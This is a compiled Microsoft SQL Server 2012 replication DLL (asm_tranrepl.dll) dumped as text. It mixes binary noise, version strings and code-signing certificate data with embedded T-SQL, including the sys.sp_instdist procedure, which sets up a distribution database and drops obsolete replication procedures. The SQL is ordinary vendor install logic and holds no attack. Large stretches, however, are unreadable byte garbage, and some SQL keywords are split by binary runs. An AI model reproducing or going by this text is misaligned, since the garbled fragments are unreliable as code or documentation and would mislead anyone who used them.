@pubidAsp_MSmakeP2Pconflicttable_sqlclrallarticleobjectNameobjectSchemaRows ProcessedKL&)P ;z\V4P11.0.0.011.0(Microsoft SQL Server{0xbd7f7c0d, 0x7c36, 0x4721, {0xaf, 0xa8, 0xb, 0xa7, 0x0, 0xe2, 0x6d, 0x9e}}SQL Server 20122Microsoft SQL Server 2012110
sql112SQLServerBooksOnline.11.0SQLServer2012$SQLServer2012(SP1)H7fe4630a-0330-4b01-a5e6-a77c7ad34eb0L{7f121c35-f095-47aa-bc04-d214bc04727a}SQL2011MSSQL11MSAS11MSRS11	SQL110MSISQL110Exception{0x2414bc1b, 0x1572, 0x4cd9, {0x9c, 0xa5, 0x65, 0x16, 0x6d, 0x8d, 0xef, 0x3d}}*ms-help://MS.VSCC.v9010.0%)- 
441	
 $  ,  0
(5   ,
      8 ) 9 =   
 
  AE A A 

I   (
(( M  	   (( P @QUXL=
 QL= Y   1X 1 1 1 X `((` @Hd ]1ae%>SET ARITHABORT ON SET NUMERIC_ROUNDABORT OFF SET ANSI_WARNINGS ON SET CONCAT_NULL_YIELDS_NULL ON SET QUOTED_IDENTIFIER ON SET ANSI_NULLS ON SET ANSI_PADDING ON0SET QUOTED_IDENTIFIER ON2SET QUOTED_IDENTIFIER OFF"SET ANSI_NULLS ON$SET ANSI_NULLS OFF&SET ANSI_PADDING ON(SET ANSI_PADDING OFF"sp_MShelp_profile

go

GO

`SELECT TOP 1 0 FROM {0} WITH (TABLOCK, HOLDLOCK)SET TRANSACTION ISOLATION LEVEL READ COMMITTED;BEGIN TRANSACTION$COMMIT TRANSACTIONNIF @@TRANCOUNT > 0 ROLLBACK TRANSACTION`IF OBJECT_ID({0}, 'V') IS NOT NULL DROP VIEW {1}timestampbinarynvarcharvarcharvarbinary
ntexttext
imagexmlchardatetimedatetime2datetimeoffsetsysif (@@microsoftversion >= 0x08000000)  exec dbo.sp_MSdropfkreferencingarticle @destination_object_name = {0}, @destination_owner_name = {1}2if object_id('sys.sp_MSrestoresavedforeignkeys') < 0 exec sys.sp_MSdropfkreferencingarticle @destination_object_name = {0}, @destination_owner_name = {1}"CREATE SCHEMA {0}CDdbo' Zif object_id({0}, 'P') > 0

    drop proc {1}if object_id(N'dbo.MSreplication_objects') is not null

    delete from dbo.MSreplication_objects where object_name = {0}if columnproperty(object_id(N'dbo.MSreplication_objects'), N'article', 'AllowsNull') is not null

exec sp_executesql 

    @statement = 

        N'insert dbo.MSreplication_objects (object_name, publisher, publisher_db, publication, article, object_type) 

            values 

        (@object_name, @publisher, @publisher_db, @publication, @article, ''P'')',

    @parameters = 

        N'@object_name sysname, @publisher sysname, @publisher_db sysname, @publication sysname, @article sysname',

    @object_name = {0},

    @publisher = {1},

    @publisher_db = {2},

    @publication = {3},

    @article = {4}if @@rowcount = 0

    if @@microsoftversion>0x07320000

        exec sp_MSreplraiserror 20598    |  
  
    | | | | |( i|(i|	 i	(i iP(iP| | U|	 !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(]KyMv=AU iPi|(|(U|	(U ( (  \if object_id({0}, 'U') > 0

    drop table {1}	  UPUP 
 U iP"#$()*+048:;<=>bchjlz@mqu-y u	 u  }(}  u	 AuEe eeee
 eeee eeeey5e eeeeey eeee%ee%ee	%ee%%%% eeeeaaa eeaaU|
 U|  ( U AE A 	 A1Eeeeea ŀ$$RSA1''6n_1:fl/y2}/R4H<=\]Ǽ(k,Q\$+Au2IRmRo{l؂O1
ˢ#V{-Pb왹J|};(%% ) 5  5 5
 5
5
5 	 

 

  
 
 
 q m Y 1  ) - $1mquQY4% 5(	

 	 $


$$$,  IaTIsInvariantToNullsTIsInvariantToDuplicatesTIsInvariantToOrderTMaxByteSize	 UY]	aUX Y	 eeX  a i"
5XXXeXeXeX  	 XdXeXeX    
   
 
 mm
	 

  qq uu yy
y
"XXeXeXeX 1}Y1 
 
   X    a	55
5i|	 | ||  	i+||||||!||||=||||||||||||||||:|||||||||||||4|||||||||U| 
PiPP	 P  P i|||(P(PPPPUUPe"P5PPPPPPPeq -	 

} 	 
 ye e a	UU| 
xeY1QQY e 55e	 
QY1eeQY1 uqq 55YQQ  }QL= 
Microsoft SQL Server)$Microsoft Corp. All rights reserved.Microsoft Corporation0+11.0.3000.0 ((SQL11_PCU_Main).121019-1322 )11.0.3000.050e:\sql11_main_t\\sql\Common\SNK\SQL2003SNKEY.snk$SQL REPLICATION MANAGED OBJECTS
en-USMHMicrosoft SQL Server is a registered trademark of Microsoft Corporation.TWrapNonExceptionThrowsP)ȱȡRSDSK eNՠAasm_tranrepl.pdb`~ p_CorDllMainmscoree.dll% V0HX4VS_VERSION_INFO?DVarFileInfo$Translation@StringFileInfo000004b0X CommentsSQL REPLICATION MANAGED OBJECTSLCompanyNameMicrosoft Corporationh FileDescriptionSQL REPLICATION MANAGED OBJECTSx,FileVersion11.0.3000.0 ((SQL11_PCU_Main).121019-1322 )DInternalNameasm_tranrepl!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(^Kߑv=A.dllp%LegalCopyrightMicrosoft Corp. All rights reserved.ILegalTrademarksMicrosoft SQL Server is a registered trademark of Microsoft Corporation.LOriginalFilenameasm_tranrepl.dllLProductNameMicrosoft SQL Server<ProductVersion11.0.3000.0<	Assembly Version11.0.0.02>0=	*H
=0=10	+0L
+7>0<0
+70	0!0	+LV,WgNJ,/003'80
	*H
0y10	UUS10U
Washington10URedmond10U
Microsoft Corporation1#0!UMicrosoft Code Signing PCA0
120904214209Z
130304214209Z010	UUS10U
Washington10URedmond10U
Microsoft Corporation1
0UMOPR10UMicrosoft Corporation0"0
	*H
0
Il"e;abt)qX^W
ibn6N"ya%X,12>tW6SAiimVn&Msdqa!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(_K	8v=AhX[I50Szk+!gtxa|*gٺc<N>}~H=uc )9AT8Td@7
"0# kYୟ`L
bZxvlL8G
0	0U%0
+0UQJ?óe,0U#0ҴX7.3L
0VUO0M0KIGEhttp://crl.microsoft.com/pki/crl/products/MicCodSigPCA_08-31-2010.crl0Z+N0L0J+0>http://www.microsoft.com/pki/certs/MicCodSigPCA_08-31-2010.crt0
	*H
*&zbx[ħxS(B?8d5HzOGڇLږdρ3x|mqaNds?{'4R?GCpSK*w{nF(1Ji]3<GEʋO	&n_ډZ^_|FGX+FQb_i\qV ,:Nh~;yB9I^pBułUUa003+92HH+0
	*H
0w10	UUS10U
Washington10URedmond10U
Microsoft Corporation1!0UMicrosoft Time-Stamp PCA0
120904211234Z
131204211234Z010	UUS10U
Washington10URedmond10U
Microsoft Corporation1
0UMOPR1'0%UnCipher DSE ESN:C0F4-3086-DEF81%0#UMicrosoft Time-Stamp Service0"0
	*H
0
0ePZkH^Ip|_b_&Ӌ9".K:^92{x78:bhh@,6b`p9`b8o@

x6k&M)\HpF6&454\}1MW|֕
f2>,Հ_89]d7\;Q[]_4_(UpT|UF[((VL	H*03 lióN07ԘRԩ#E\AIObh	00U3S?`CƯ+X0U#0#4RFp
@v+50TUM0K0IGEChttp://crl.microsoft.com/pki/crl/products/MicrosoftTimeStampPCA.crl0X+L0J0H+0<http://www.microsoft.com/pki/certs/MicrosoftTimeStampPCA.crt0U%0
+0
	*H
~̰{/Vs۪R9ƴeHFfj&^Xc8F|+sAǪ7d9Ϋ%iFf2<ח2!%^B,3:Α%qrbpJP/"dMk,y짣1ڐ`n
?,$
j&QJucDiV:r
""rĜ(9f0FYz
cM#O-;G00
a3&10
	*H
0_10
	&,dcom10
	&,d	microsoft1-0+U$Microsoft Root Certificate Authority0
100831221932Z
200831222932Z0y10	UUS10U
Washington10URedmond10U
Microsoft Corporation1#0!UMicrosoft Code Signing PCA0"0
	*H
0
rY\0d`  BvSl>ok:t/2BN#r5W
ʮ IhMKyKqG%ߝuϪsDׁ6\Eܯ=(hrsV5rv_wE8s[gRi/t)v/T0Yҍb_F1P'@0r)("7N=2=͡8\NV(*2KOc-bE=F[&SzJF7<8w\V<	_^0Z0U00UҴX7.3L
0U0	+70#	+71N&`;1o<-0	+7
SubCA0U#0`@V'%*
SY0PUI0G0ECA?http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0T+H0F0D+08http://www.microsoft.com/pki/certs/MicrosoftRootCert.crt0
	*H
Y9>&Fo@2j/nI_uL;-C-1#|P!]=/LVpyIr>Ai˥ -PV-JҼp
VชKWB4<VS#*NNҏr*qmSg"\͢'ycVDQXVݛED/_ڮԂ2ni穢,+e&	e8zJVx\5_ݓI-4D]5[!Θ	OmN=|)HrlpWW}HZϣg
t6-/r7o<gR3edoFy,
'@F`Ge`@NBNvy
4	m1TGdP.|!zA'iÓɍ؛!
\𢮆hj-vk{$jG1/q=~bGΈɸr=@ji7P=00
ah40
	*H
0_10
	&,dcom10
	&,d	microsoft1-0+U$Microsoft Root Certificate Authority0
070403125309Z
210403130309Z0w10	UUS10U
Washington10URedmond10U
Microsoft Corporation1!0UMicrosoft Time-Stamp PCA0"0
	*H
0
lH*|k.řQ#PN$ѧLt0 TIB\0&k{3$g,{N#SʍE	^аBlg(FS(F.'OUR,j0nY0~֗!~SmREHJGf')fJG	UxP0F#F-TxA1w̛;a
"KT 00U00U#4RFp
@v+50U0	+70U#0`@V'%*
SY䤡ca0_10
	&,dcom10
	&,d	microsoft1-0+U$Microsoft Root Certificate AuthorityyJLsX.e0PUI0G0ECA?http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0T+H0F0D+08http://www.microsoft.com/pki/certs/MicrosoftRootCert.crt0U%0
+0
	*H
\D6鴭wyQM.tq[mξ{.mbWN Pz@WXx;⾏
ȍHSOjՀ/*$"px.
pNk
r9g-Qb\? ?21Jv1=+rp=

a׸N5+^}B{Sr!0ʻxe\[
<fX-/QVpl9Lyzb))4wb=m,C}㤨t5Nq#&v<RqZFCMgȟBy!0fB^Ȟ"!C+H,2L&*H$_ZVޙ:o'tv!'Tj=vanGo2lQȌ#fd=-Y!嵰cxTA.Pxuْu"/2n[%!OɚIeo}in꧗1)[\M/?.Uk1(H0(D00y10	UUS10U
Washington10URedmond10U
Microsoft Corporation1#0!UMicrosoft Code Signing PCA3'80	+0	*H
	1
+70
+710
+70#	*H
	1-<V\T10R
+71D0B SQL Server 2012http://www.microsoft.com/sql0
	*H
$0qCjYӍ҄a\Ql'e.ihz\al F@9l{F	Ķub$v˿֦PġzqT"
iLJ/ETy/G6=Wq1U\pgV2`#P(RP]E#rG?W"0Red)kZ\X	JW5t0Z>_ruzk{S.My92(x%0$	*H
	1000w10	UUS10U
Washington10URedmond10U
Microsoft Corporation1!0UMicrosoft Time-Stamp PCA3+92HH+0	+]0	*H
	1	*H
0	*H
	1
121019214858Z0#	*H
	18acSALSO䖎C~!0
	*H
36Ma^nnXJXH} 0kD.
pD#я7b6%?$+n6¢f;_79k1LJ<'$xi\S|'_C}\|My
<LWse61Z.WK3%\m3Y5:EKW	L*Ps9ז	kTY"?w-ʱ)_NMu)5ݪm.T)ew0#
+71#0#	*H
#0#10
	`He0\
+7N0L0
+70	010
	`He Hi& ;,';U ;ϿE
?003y
%XE0
	*H
0~10	UUS10U
Washington10URedmond10U
Microsoft Corporation1(0&UMicrosoft Code Signing PCA 20110
120707001432Z
131007001432Z010	UUS10U
Washington10URedmond10U
Microsoft Corporation1
0UMOPR10UMicrosoft Corporation0"0
	*H
0
Qs/ΰ=X?,˹]::HlT~ܸ*
m;Y%N`t۴UO?;A|GKaI aD<o`N3QPٲ>Fvͫr9q'ٟCT!cnHzܝP䶃"G*D>8.0+Asp)&9L/*Z6>)P@2'c:Ӝr5Ex(kdtE@o\-,0(0U%0+
+7L0Ua??P.Cqc\BF0U#0HndPӂ77"mu0TUM0K0IGEChttp://www.microsoft.com/pkiops/crl/MicCodSigPCA2011_2011-07-08.crl0a+U0S0Q+0Ehttp://www.microsoft.com/pkiops/certs/MicCodSigPCA2011_2011-07-08.crt0U00
	*H
Ck]dRoP(tqO'CMf`a;W~/=E3]v`yN^|#qzA"L̊WC֮3=f;vdbWC;GujHN2
Lf÷>LH92
x[+07wo\CR,Gasrc3aI_,5O}k>YڞְHa뀱F5i?r~#Cܶ	zե:ւMxK<J
DK݀/d=ͱJ&4p|
LL+E^s{B.>[
4RNq㑹sy
64,I`0 &d<BQp9JDr^B,,}ߍ^Dεblz0(@X^W/rWY4Jj`RA'MPW+`0z0b
a0
	*H
010	UUS10U
Washington10URedmond10U
Microsoft Corporation1200U)Microsoft Root Certificate Authority 20110
110708205909Z
260708210909Z0~10	UUS10U
Washington10URedmond10U!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(`hLLwHvZtcreate procedure sys.sp_instdist
as
begin
    set nocount on    

    exec('--***************************************************************************
-- Copyright (c) Microsoft Corporation.
-- All Rights Reserved
--
-- @File: instdist.sql
--
-- Purpose:
--  replication procedures for distribution database
--  
-- Notes:
--
-- History:
--
--     @Version: Yukon
--
-- @EndHeader@
--
--***************************************************************************

if (    (db_id()     = 1)  -- ''master'' db
    OR
        is_srvrolemember(''sysadmin'') <> 1  -- SA
   )
    begin
    raiserror(21760,11,127)  -- State=127 should halt ISQL.EXE
    end

if (    (db_id()     = 1)  -- ''master'' db
    OR
        is_srvrolemember(''sysadmin'') <> 1 -- SA
   )
    begin
    raiserror(21761,22,127) with log   -- SeverityLevel>=19 kills spid.
    end

')
    if @@error <> 0 return 1
    exec('
EXEC dbo.sp_configure ''allow updates'', 1

')
    if @@error <> 0 return 1
    exec('reconfigure with override

')
    if @@error <> 0 return 1
    exec('
set ANSI_NULLS off

')
    if @@error <> 0 return 1
    exec('
--
-- Check and make sure the database has the correct compatibility level
--
declare @dbname sysname
		,@cmptlevelmaster tinyint
		,@cmptlevel tinyint
		
select  @dbname = db_name()
select 	@cmptlevelmaster = cmptlevel from master.dbo.sysdatabases where name = ''master''
select 	@cmptlevel = cmptlevel from master.dbo.sysdatabases where name = @dbname
if (@cmptlevel != @cmptlevelmaster)
begin
    if (@@nestlevel = 0)
    begin
	    raiserror(21762,10, 1, @dbname, @cmptlevel, @cmptlevelmaster)    
	    exec dbo.sp_dbcmptlevel @dbname, @cmptlevelmaster
    end
end

')
    if @@error <> 0 return 1
    exec('
/****************************************************************************/
PRINT ''''
PRINT ''Creating distribution tables''
PRINT ''''
/****************************************************************************/
EXEC dbo.sp_MScreate_dist_tables

')
    if @@error <> 0 return 1
    exec('
/****************************************************************************/
PRINT ''''
PRINT ''Dropping all distribution stored procedures and functions that are now in resource or are obsolete''
PRINT ''''
/****************************************************************************/
IF EXISTS (SELECT * FROM sys.objects WHERE
   name = ''sp_MSadd_repl_command'' and type = ''P'')
      DROP PROCEDURE sp_MSadd_repl_command

IF EXISTS (SELECT * FROM sys.objects WHERE
   name = ''sp_MScheckretention'' and type = ''P'')
      DROP PROCEDURE sp_MScheckretention

IF EXISTS (SELECT * FROM sys.objects WHERE
   name = ''sp_MSpersistPerfNumber'' and type = ''P'')
      DROP PROCEDURE sp_MSpersistPerfNumber

IF EXISTS (SELECT * FROM sys.objects WHERE
   name = ''sp_MScheck_Jet_Subscriber'' and type = ''P'')
      DROP PROCEDURE sp_MScheck_Jet_Subscriber

IF EXISTS (SELECT * FROM sys.objects WHERE
   name = ''sp_MSadd_replcmds_mcit'' and type = ''P'')
      DROP PROCEDURE sp_MSadd_replcmds_mcit

IF EXISTS (SELECT * FROM sys.objects WHERE
   name = ''sp_MSadd_repl_commands27hp'' and type = ''P'')
      DROP PROCEDURE sp_MSadd_repl_commands27hp

IF EXISTS (SELECT * FROM sys.objects WHERE
   name = ''sp_MSrefresh_anonymous'' and type = ''P'')
      DROP PROCEDURE sp_MSrefresh_anonymous
      
IF EXISTS (SELECT * FROM sys.objects WHERE
   name = ''sp_MSadd_subscription'' and type = ''P'')
      DROP PROCEDURE sp_MSadd_subscription

IF EXISTS (SELECT * FROM sys.objects WHERE                    
   name = ''sp_MSdrop_subscription'' and type = ''P'')
      DROP PROCEDURE sp_MSdrop_subscription

if exists (select * from sys.objects where 
	type = ''P'' and name = ''sp_MSfetchAdjustidentityrange'')
	drop procedure sp_MSfetchAdjustidentityrange

IF EXISTS (SELECT * FROM sys.objects WHERE   
    name = ''sp_MSupdate_subscription'' and type = ''P'')
       DROP PROCEDURE sp_MSupdate_subscription

IF EXISTS (SELECT * FROM sys.objects WHERE
    name = ''sp_MSget_repl_commands'' and type = ''P'')
       DROP PROCEDURE sp_MSget_repl_commands

IF EXISTS (SELECT * FROM sys.objects WHERE
    name = ''sp_MSget_repl_cmds_anonymous'' and type = ''P'')
       DROP PROCEDURE sp_MSget_repl_cmds_anonymous

IF EXISTS (SELECT * FROM sys.objects WHERE
    name = ''sp_MSadd_anonymous_agent'' and type = ''P'')
       DROP PROCEDURE sp_MSadd_anonymous_agent

IF EXISTS (SELECT * FROM sys.objects WHERE
    name = ''sp_MSanonymous_status'' and type = ''P'')
       DROP PROCEDURE sp_MSanonymous_status

IF EXISTS (SELECT * FROM sys.objects WHERE
    name = ''sp_MSsubscription_status'' and type = ''P'')
       DROP PROCEDURE sp_MSsubscription_status

')
    if @@error <> 0 return 1
    exec('
IF EXISTS (SELECT * FROM sys.objects WHERE
   name = ''sp_MSget_last_transaction'' and type = ''P'')
      DROP PROCEDURE sp_MSget_last_transaction
    

IF EXISTS (SELECT * FROM sys.objects WHERE
   name = ''sp_MSadd_subscriber_info'' and type = ''P'')
      DROP PROCEDURE sp_MSadd_subscriber_info

IF EXISTS (SELECT * FROM sys.objects WHERE
   name = ''sp_MSadd_subscriber_schedule'' and type = ''P'')
      DROP PROCEDURE sp_MSadd_subscriber_schedule

IF EXISTS (SELECT * FROM sys.objects WHERE
   name = ''sp_MSupdate_subscriber_info'' and type = ''P'')
      DROP PROCEDURE sp_MSupdate_subscriber_info

IF EXISTS (SELECT * FROM sys.objects WHERE
   name = ''sp_MSupdate_subscriber_schedule'' and type = ''P'')
      DROP PROCEDURE sp_MSupdate_subscriber_schedule

IF EXISTS (SELECT * FROM sys.objects WHERE
   name = ''sp_MSdrop_subscriber_info'' and type = ''P'')
      DROP PROCEDURE sp_MSdrop_subscriber_info

IF EXISTS (SELECT * FROM sys.objects WHERE
   name = ''sp_MShelp_subscriber_info'' and type = ''P'')
      DROP PROCEDURE sp_MShelp_subscriber_info

IF EXISTS (select * from sys.objects where
   name = ''sp_MSdistribution_counters'' and type = ''P'')
      DROP PROCEDURE sp_MSdistribution_counters

IF EXISTS (select * from sys.objects where
   name = ''sp_MSset_snapshot_xact_seqno'' and type = ''P'')
      DROP PROCEDURE sp_MSset_snapshot_xact_seqno

IF EXISTS (select * from sys.objects where
   name = ''sp_MSadd_snapshot_history'' and type = ''P'')
      DROP PROCEDURE sp_MSadd_snapshot_history

IF EXISTS (select * from sys.objects where
   name = ''sp_MSadd_logreader_history'' and type = ''P'')
      DROP PROCEDURE sp_MSadd_logreader_history

IF EXISTS (select * from sys.objects where
   name = ''sp_MSadd_distribution_history'' and type = ''P'')
      DROP PROCEDURE sp_MSadd_distribution_history

IF EXISTS (select * from sys.objects where
   name = ''sp_MSreplremoveuncdir'' and type = ''P'')
      DROP PROCEDURE sp_MSreplremoveuncdir

IF EXISTS (select * from sys.objects where
   name = ''sp_MSdrop_snapshot_dirs'' and type = ''P'')
      DROP PROCEDURE sp_MSdrop_snapshot_dirs

IF EXISTS (select * from sys.objects where
   name = ''sp_MSfast_delete_trans'' and type = ''P'')
      DROP PROCEDURE sp_MSfast_delete_trans

IF EXISTS (select * from sys.objects where
   name = ''sp_MSenum_subscriptions'' and type = ''P'')
      DROP PROCEDURE sp_MSenum_subscriptions

IF EXISTS (select * from sys.objects where
   name = ''sp_MSIfExistsSubscription'' and type = ''P'')
      DROP PROCEDURE sp_MSIfExistsSubscription

IF EXISTS (select * from sys.objects where
   name = ''sp_MSenum_snapshot'' and type = ''P'')
      DROP PROCEDURE sp_MSenum_snapshot
      
IF EXISTS (select * from sys.objects where
   name = ''sp_MSadd_merge_anonymous_agent'' and type = ''P'')
      DROP PROCEDURE sp_MSadd_merge_anonymous_agent
    
IF EXISTS (select * from sys.objects where
   name = ''sp_MSenum_snapshot_s'' and type = ''P'')
      DROP PROCEDURE sp_MSenum_snapshot_s

IF EXISTS (select * from sys.objects where
   name = ''sp_MSenum_snapshot_sd'' an!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(ahLpvZtd type = ''P'')
      DROP PROCEDURE sp_MSenum_snapshot_sd

IF EXISTS (select * from sys.objects where
   name = ''sp_MSenum_logreader'' and type = ''P'')
      DROP PROCEDURE sp_MSenum_logreader

IF EXISTS (select * from sys.objects where
   name = ''sp_MSenum_logreader_s'' and type = ''P'')
      DROP PROCEDURE sp_MSenum_logreader_s

IF EXISTS (select * from sys.objects where
   name = ''sp_MSenum_logreader_sd'' and type = ''P'')
      DROP PROCEDURE sp_MSenum_logreader_sd

IF EXISTS (select * from sys.objects where
   name = ''sp_MSenum_qreader'' and type = ''P'')
      DROP PROCEDURE sp_MSenum_qreader

IF EXISTS (select * from sys.objects where
   name = ''sp_MSenum_qreader_s'' and type = ''P'')
      DROP PROCEDURE sp_MSenum_qreader_s

IF EXISTS (select * from sys.objects where
   name = ''sp_MSenum_qreader_sd'' and type = ''P'')
      DROP PROCEDURE sp_MSenum_qreader_sd

IF EXISTS (select * from sys.objects where
   name = ''sp_MSenum_distribution'' and type = ''P'')
      DROP PROCEDURE sp_MSenum_distribution

IF EXISTS (select * from sys.objects where
   name = ''sp_MSenum_distribution_s'' and type = ''P'')
      DROP PROCEDURE sp_MSenum_distribution_s

IF EXISTS (SELECT * FROM sys.objects WHERE
   name = ''sp_MShelp_subscription_status'' and type = ''P'')
      DROP PROCEDURE sp_MShelp_subscription_status

IF EXISTS (SELECT * FROM sys.objects WHERE
   name = ''sp_MScleanup_agent_entry'' and type = ''P'')
      DROP PROCEDURE sp_MScleanup_agent_entry

IF EXISTS (select * from sys.objects where
   name = ''sp_MSenum_distribution_sd'' and type = ''P'')
      DROP PROCEDURE sp_MSenum_distribution_sd

IF EXISTS (select * from sys.objects where
   name = ''sp_MSenum_merge'' and type = ''P'')
      DROP PROCEDURE sp_MSenum_merge

IF EXISTS (select * from sys.objects where
   name = ''sp_MSenum_merge_s'' and type = ''P'')
      DROP PROCEDURE sp_MSenum_merge_s

IF EXISTS (select * from sys.objects where
   name = ''sp_MSenum_merge_sd'' and type = ''P'')
      DROP PROCEDURE sp_MSenum_merge_sd

IF EXISTS (select * from sys.objects where
   name = ''sp_MSgetagentoffloadinfo'' and type = ''P'')
      DROP PROCEDURE sp_MSgetagentoffloadinfo

IF EXISTS (select * from sys.objects where
   name = ''sp_MSenableagentoffload'' and type = ''P'')
      DROP PROCEDURE sp_MSenableagentoffload

IF EXISTS (select * from sys.objects where
   name = ''sp_MSdisableagentoffload'' and type = ''P'')
      DROP PROCEDURE sp_MSdisableagentoffload 

IF EXISTS (select * from sys.objects where
   name = ''sp_MSadd_repl_error'' and type = ''P'')
      DROP PROCEDURE sp_MSadd_repl_error

IF EXISTS (select * from sys.objects where
   name = ''sp_MSadd_repl_alert'' and type = ''P'')
      DROP PROCEDURE sp_MSadd_repl_alert

IF EXISTS (select * from sys.objects where
   name = ''sp_MSadd_replmergealert'' and type = ''P'')
      DROP PROCEDURE sp_MSadd_replmergealert

IF EXISTS (select * from sys.objects where
   name = ''sp_MSget_new_errorid'' and type = ''P'')
      DROP PROCEDURE sp_MSget_new_errorid

IF EXISTS (select * from sys.objects where
   name = ''sp_MSget_repl_error'' and type = ''P'')
      DROP PROCEDURE sp_MSget_repl_error

IF EXISTS (select * from sys.objects where
   name = ''sp_MSadd_merge_history'' and type = ''P'')
      DROP PROCEDURE sp_MSadd_merge_history

IF EXISTS (select * from sys.objects where
   name = ''sp_MSdist_activate_auto_sub'' and type = ''P'')
      DROP PROCEDURE sp_MSdist_activate_auto_sub

IF EXISTS (select * from sys.objects where
   name = ''sp_MSlock_auto_sub'' and type = ''P'')
      DROP PROCEDURE sp_MSlock_auto_sub

IF EXISTS (select * from sys.objects where
   name = ''sp_MSget_new_xact_seqno'' and type = ''P'')
      DROP PROCEDURE sp_MSget_new_xact_seqno

IF EXISTS (select * from sys.objects where
   name = ''sp_MSvalidate_distpublisher'' and type = ''P'')
      DROP PROCEDURE sp_MSvalidate_distpublisher

IF EXISTS (select * from sys.objects where
   name = ''sp_MSadd_publication'' and type = ''P'')
      DROP PROCEDURE sp_MSadd_publication

IF EXISTS (select * from sys.objects where
   name = ''sp_MSchange_publication'' and type = ''P'')
      DROP PROCEDURE sp_MSchange_publication

IF EXISTS (select * from sys.objects where
   name = ''sp_MSadd_article'' and type = ''P'')
      DROP PROCEDURE sp_MSadd_article

IF EXISTS (select * from sys.objects where
   name = ''sp_MSchange_article'' and type = ''P'')
      DROP PROCEDURE sp_MSchange_article

IF EXISTS (select * from sys.objects where
   name = ''sp_MSdrop_publication'' and type = ''P'')
      DROP PROCEDURE sp_MSdrop_publication

IF EXISTS (select * from sys.objects where
   name = ''sp_MSdrop_article'' and type = ''P'')
      DROP PROCEDURE sp_MSdrop_article

IF EXISTS (select * from sys.objects where
   name = ''sp_MShelp_publication'' and type = ''P'')
      DROP PROCEDURE sp_MShelp_publication

IF EXISTS (select * from sys.objects where
   name = ''sp_MShelp_article'' and type = ''P'')
      DROP PROCEDURE sp_MShelp_article

IF EXISTS (select * from sys.objects where
   name = ''sp_MShelp_subscription'' and type = ''P'')
      DROP PROCEDURE sp_MShelp_subscription

IF EXISTS (select * from sys.objects where
   name = ''sp_MSadd_subscription_3rd'' and type = ''P'')
      DROP PROCEDURE sp_MSadd_subscription_3rd

IF EXISTS (select * from sys.objects where
   name = ''sp_MSdrop_subscription_3rd'' and type = ''P'')
      DROP PROCEDURE sp_MSdrop_subscription_3rd

IF EXISTS (select * from sys.objects where
   name = ''sp_MSactivate_subscriptions'' and type = ''P'')
      DROP PROCEDURE sp_MSactivate_subscriptions

IF EXISTS (select * from sys.objects where
   name = ''sp_MSrepl_raiserror'' and type = ''P'')
      DROP PROCEDURE sp_MSrepl_raiserror

IF EXISTS (select * from sys.objects where
   name = ''sp_MSadd_merge_subscription'' and type = ''P'')
      DROP PROCEDURE sp_MSadd_merge_subscription

IF EXISTS (select * from sys.objects where
   name = ''sp_MSdrop_merge_subscription'' and type = ''P'')
      DROP PROCEDURE sp_MSdrop_merge_subscription

IF EXISTS (select * from sys.objects where
   name = ''sp_MSenum_merge_subscriptions'' and type = ''P'')
      DROP PROCEDURE sp_MSenum_merge_subscriptions

IF EXISTS (select * from sys.objects where
   name = ''sp_MSadd_snapshot_agent'' and type = ''P'')
      DROP PROCEDURE sp_MSadd_snapshot_agent

IF EXISTS (select * from sys.objects where
   name = ''sp_MSdrop_snapshot_agent'' and type = ''P'')
      DROP PROCEDURE sp_MSdrop_snapshot_agent

IF EXISTS (select * from sys.objects where
   name = ''sp_MSadd_logreader_agent'' and type = ''P'')
      DROP PROCEDURE sp_MSadd_logreader_agent

IF EXISTS (select * from sys.objects where
   name = ''sp_MSdrop_logreader_agent'' and type = ''P'')
      DROP PROCEDURE sp_MSdrop_logreader_agent

IF EXISTS (select * from sys.objects where
   name = ''sp_MSadd_distribution_agent'' and type = ''P'')
      DROP PROCEDURE sp_MSadd_distribution_agent

IF EXISTS (select * from sys.objects where
   name = ''sp_MSdrop_distribution_agent'' and type = ''P'')
      DROP PROCEDURE sp_MSdrop_distribution_agent

IF EXISTS (select * from sys.objects where
   name = ''sp_MSdrop_distribution_agentid'' and type = ''P'')
      DROP PROCEDURE sp_MSdrop_distribution_agentid

IF EXISTS (select * from sys.objects where
   name = ''sp_MSdrop_merge_agentid'' and type = ''P'')
      DROP PROCEDURE sp_MSdrop_merge_agentid

IF EXISTS (select * from sys.objects where
   name = ''sp_MSadd_merge_agent'' and type = ''P'')
      DROP PROCEDURE sp_MSadd_merge_agent

IF EXISTS (select * from sys.objects where
   name = ''sp_MSdrop_merge_agent'' and type = ''P'')
      DROP PROCEDURE sp_MSdrop_merge_agent

IF EXISTS (select * from sys.objects where
   name = ''sp_MSadd_qreader_agent'' and type = ''P'')
      DROP PROCEDURE sp_MSadd_qreader_agent

IF EXI!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(bhL T×vZtSTS (select * from sys.objects where
   name = ''sp_MSadd_qreader_history'' and type = ''P'')
      DROP PROCEDURE sp_MSadd_qreader_history

IF EXISTS (select * from sys.objects where
   name = ''sp_MSdrop_qreader_agent'' and type = ''P'')
      DROP PROCEDURE sp_MSdrop_qreader_agent

IF EXISTS (select * from sys.objects where
   name = ''sp_MSdrop_qreader_history'' and type = ''P'')
      DROP PROCEDURE sp_MSdrop_qreader_history

IF EXISTS (select name from sys.objects where 
   name = ''sp_update_agent_profile'' and type = ''P'')
    DROP PROCEDURE sp_update_agent_profile

IF EXISTS (select name from sys.objects where 
   name = ''sp_MSprofile_in_use'' and type = ''P'')
    DROP PROCEDURE sp_MSprofile_in_use

IF EXISTS (select * from sys.objects where
   name = ''sp_MSreset_subscription'' and type = ''P'')
      DROP PROCEDURE sp_MSreset_subscription

IF EXISTS (select * from sys.objects where
   name = ''sp_MSget_subscription_guid'' and type = ''P'')
      DROP PROCEDURE sp_MSget_subscription_guid

IF EXISTS (select * from sys.objects where
   name = ''sp_MSreset_subscription_seqno'' and type = ''P'')
      DROP PROCEDURE sp_MSreset_subscription_seqno

IF EXISTS (select * from sys.objects where
   name = ''sp_MShelp_profile'' and type = ''P'')
      DROP PROCEDURE sp_MShelp_profile

IF EXISTS (select * from sys.objects where
   name = ''sp_MShelp_snapshot_agentid'' and type = ''P'')
